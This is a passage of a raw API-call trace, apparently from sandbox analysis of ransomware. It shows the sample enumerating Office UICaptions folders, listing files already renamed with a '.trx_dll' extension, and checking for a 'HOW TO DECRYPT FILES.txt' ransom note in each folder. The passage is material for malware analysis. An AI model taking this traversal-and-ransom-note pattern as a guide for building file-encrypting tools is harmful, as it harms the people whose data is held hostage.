Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt" [0092.237] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\how to decrypt files.txt")) returned 0x2020 [0092.237] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpString2="VISBRRES.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISBRRES.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISBRRES.DLL.trx_dll" [0092.237] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a315700, ftCreationTime.dwHighDateTime=0x1cac814, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a315700, ftLastWriteTime.dwHighDateTime=0x1cac814, nFileSizeHigh=0x0, nFileSizeLow=0x77560, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISINTL.DLL.trx_dll", cAlternateFileName="VISINT~1.TRX")) returned 1 [0092.237] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.237] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISBRRES.DLL.trx_dll") returned="VISBRRES.DLL.trx_dll" [0092.237] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0092.237] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="" [0092.237] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt" [0092.238] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\how to decrypt files.txt")) returned 0x2020 [0092.238] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpString2="VISINTL.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISINTL.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISINTL.DLL.trx_dll" [0092.238] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb31c100, ftCreationTime.dwHighDateTime=0x1cacd25, ftLastAccessTime.dwLowDateTime=0xef0ca650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb31c100, ftLastWriteTime.dwHighDateTime=0x1cacd25, nFileSizeHigh=0x0, nFileSizeLow=0x25b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="WWINTL.DLL.trx_dll", cAlternateFileName="WWINTL~1.TRX")) returned 1 [0092.238] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.238] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISINTL.DLL.trx_dll") returned="VISINTL.DLL.trx_dll" [0092.238] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0092.238] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="" [0092.238] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt" [0092.238] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\how to decrypt files.txt")) returned 0x2020 [0092.238] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpString2="WWINTL.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.DLL.trx_dll" [0092.239] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb31c100, ftCreationTime.dwHighDateTime=0x1cacd25, ftLastAccessTime.dwLowDateTime=0xef0f07b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb31c100, ftLastWriteTime.dwHighDateTime=0x1cacd25, nFileSizeHigh=0x0, nFileSizeLow=0x115b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="WWINTL.REST.trx_dll", cAlternateFileName="WWINTL~2.TRX")) returned 1 [0092.239] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.239] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.DLL.trx_dll") returned="WWINTL.DLL.trx_dll" [0092.239] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0092.239] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="" [0092.239] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt" [0092.239] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\how to decrypt files.txt")) returned 0x2020 [0092.239] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpString2="WWINTL.REST.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.REST.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.REST.trx_dll" [0092.239] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6b688100, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef0f07b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6b688100, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x25360, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLINTL32.DLL.trx_dll", cAlternateFileName="XLINTL~1.TRX")) returned 1 [0092.239] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.239] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.REST.trx_dll") returned="WWINTL.REST.trx_dll" [0092.239] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0092.240] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="" [0092.240] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt" [0092.240] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\how to decrypt files.txt")) returned 0x2020 [0092.240] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpString2="XLINTL32.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.DLL.trx_dll" [0092.240] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a375400, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a375400, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x137960, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLINTL32.REST.trx_dll", cAlternateFileName="XLINTL~2.TRX")) returned 1 [0092.240] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.240] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.DLL.trx_dll") returned="XLINTL32.DLL.trx_dll" [0092.240] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0092.240] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="" [0092.240] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt" [0092.241] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\how to decrypt files.txt")) returned 0x2020 [0092.241] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpString2="XLINTL32.REST.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.REST.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.REST.trx_dll" [0092.241] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe092000, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe092000, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLSLICER.DLL.trx_dll", cAlternateFileName="XLSLIC~1.TRX")) returned 1 [0092.241] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.241] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.REST.trx_dll") returned="XLINTL32.REST.trx_dll" [0092.241] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0092.241] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="" [0092.241] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt" [0092.241] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\how to decrypt files.txt")) returned 0x2020 [0092.241] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpString2="XLSLICER.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLSLICER.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLSLICER.DLL.trx_dll" [0092.242] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe092000, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe092000, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLSLICER.DLL.trx_dll", cAlternateFileName="XLSLIC~1.TRX")) returned 0 [0092.242] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0092.242] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x154020, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x154020, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1 [0092.242] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\*.*") returned="*.*" [0092.242] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\", lpString2="3082" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" [0092.242] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x154020, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x154020, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0092.243] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.243] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\*.*") returned="*.*" [0092.243] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0092.243] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="" [0092.243] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\HOW TO DECRYPT FILES.txt" [0092.243] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\how to decrypt files.txt")) returned 0x2020 [0092.243] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\", lpString2="ENVELOPR.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ENVELOPR.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ENVELOPR.DLL.trx_dll" [0092.244] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.244] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ENVELOPR.DLL.trx_dll") returned="ENVELOPR.DLL.trx_dll" [0092.244] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0092.244] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="" [0092.244] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\HOW TO DECRYPT FILES.txt" [0092.244] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\how to decrypt files.txt")) returned 0x2020 [0092.244] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\", lpString2="GRINTL32.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.DLL.trx_dll" [0092.244] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.244] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.DLL.trx_dll") returned="GRINTL32.DLL.trx_dll" [0092.244] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0092.245] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="" [0092.245] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\HOW TO DECRYPT FILES.txt" [0092.245] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\how to decrypt files.txt")) returned 0x2020 [0092.245] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\", lpString2="GRINTL32.REST.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.REST.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.REST.trx_dll" [0092.245] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.245] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.245] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.REST.trx_dll") returned="GRINTL32.REST.trx_dll" [0092.245] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0092.245] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="" [0092.245] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\HOW TO DECRYPT FILES.txt" [0092.245] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\how to decrypt files.txt")) returned 0x2020 [0092.246] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\", lpString2="MAPIR.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MAPIR.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MAPIR.DLL.trx_dll" [0092.246] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.246] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MAPIR.DLL.trx_dll") returned="MAPIR.DLL.trx_dll" [0092.246] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0092.246] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="" [0092.246] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\HOW TO DECRYPT FILES.txt" [0092.246] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\how to decrypt files.txt")) returned 0x2020 [0092.246] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\", lpString2="MOR6INT.REST.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MOR6INT.REST.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MOR6INT.REST.trx_dll" [0092.246] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.246] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MOR6INT.REST.trx_dll") returned="MOR6INT.REST.trx_dll" [0092.247] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All 